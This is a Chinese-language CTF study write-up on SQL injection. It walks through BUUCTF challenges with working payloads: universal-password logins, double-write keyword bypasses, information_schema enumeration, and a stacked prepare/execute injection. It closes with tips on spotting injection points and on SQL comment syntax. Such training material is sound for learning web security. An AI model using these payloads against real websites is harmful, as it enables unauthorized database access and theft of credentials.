一、先来看一下分类:
二、练手
(1)简单来一下
来自buuctf例题
利用万能密码可以找到用户名为admin,密码为 1' or '1'='1 。不过这种情况少
成功获得flag
[极客大挑战 2019]Havefun
查看源代码可以看见
这里可以看到被注释的痕迹,大体可以告诉我们cat=dog可以得到新东西
输入/?cat=flag 即可
(2)中等
[极客大挑战 2019]BabySQL
先来一个万能密码,
123 1' or 1=1#
得到" 1=1#",判断or被正则过滤
先来一个双写绕过
登录成功
接下来
查询表的字段数
似乎是过滤了order和 by,继续使用双写
得到
只含有三个表
现在用联合查询注入,先使用普通的联合查询语句
1'union select1,2,database()
发现union 、select都被过滤了(其实还过滤了from,where),继续使用双写绕过
绕过的方式可以多样,都来试试后找到
1'ununion seselectlect 1,2database() #
终于爆出了数据库
接下来,爆列名
1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
后面来爆表名
1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
查表的内容
1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#
最后可以看到flag
(3)难
[强网杯 2019]随便注
先来判断一下是什么类型
直接输入1,没有回显,看似乎是字符型注入
先闭合,又用 # 进行注释
爆表的字段数
字段数为二
采用union
发现union,select 被过滤了,现在大概是堆叠注入,
堆叠注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。
使用show函数
爆数据库
爆表名
爆字段(查表的话,需要使用反引号,show规定的)
show的详细用法:
https://www.cnblogs.com/xzlive/p/9381683.html
现在知道基本知道flag在flag字段中中,而select 又被过滤了,可以使用预编译绕过
预编译
set 用于设置变量名和值
prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句
构造payload:
-1';
set @a = CONCAT('se','lect * from `1919810931114514`;');
prepare flag from @a;
EXECUTE flag;#
然后修改一下大小写
-1';
Set @a = CONCAT('se','lect * from `1919810931114514`;');
Prepare flag from @a;
EXECUTE flag;#
终于得多flag了
三、总结
做SQL注入的题目,先明白库、表、列的关系
利用Navicat 来让你明确
新建my SQL
新建数据库
字符集,排序规则参考如下
打开数据库后创建表
接下来,创建了三个表,点击 添加字段,是不是null自行选择
还可以添加注释
保存
创建成功
在表里面添加内容
添加后保存,
后面使用命令来查询相关信息
查数据库名
查询登录用户
如何找注入点?
1,注入点首先观察搜索框的地址是否是有与数据库交互,例如html这种几乎是不存在注入的所以要先判断是否有交互。
2,交互点一般是搜索栏、留言版、登入/注册页面、以及最利于观察的搜索栏的地址如果类似于http//www.xxx.com/index.php?id=1这种很大程度存在注入当然有些注入点不会这么一眼看出会有些比较复杂例如http://www.xxx.com:50006/index.php?x=home&c=View&a=index&aid=9 这样的地址其实也可能存在注入。
3,管他什么地址只要结尾是xx=1(数字)就注就完事了
详细在:sql注入笔记一——寻找sql注入点 - 知乎 (zhihu.com)
SQL中注释的作用:
单行注释:“-- ”(双减号)
顾名思义,只能注释单行文本内容,"--"与注释内容之间需要用空格隔开。
注释范围:从注释符开始到该行末尾的所有文本。
例:
show databases; -- 列出所有数据库
注释范围:包裹在注释符中间区域的文本内容,如在“/*...*/”中...代表的即为所注释的文本内容
注意:
--”与“/**/”均为SQL语句中的标准注释,只要是支持SQL的数据库都可以使用。
除此之外,不同的数据库也有自己的注释方式。
“#”与注释内容之间无需空格隔开。
注释范围:从“#”注释符开始到该行末尾。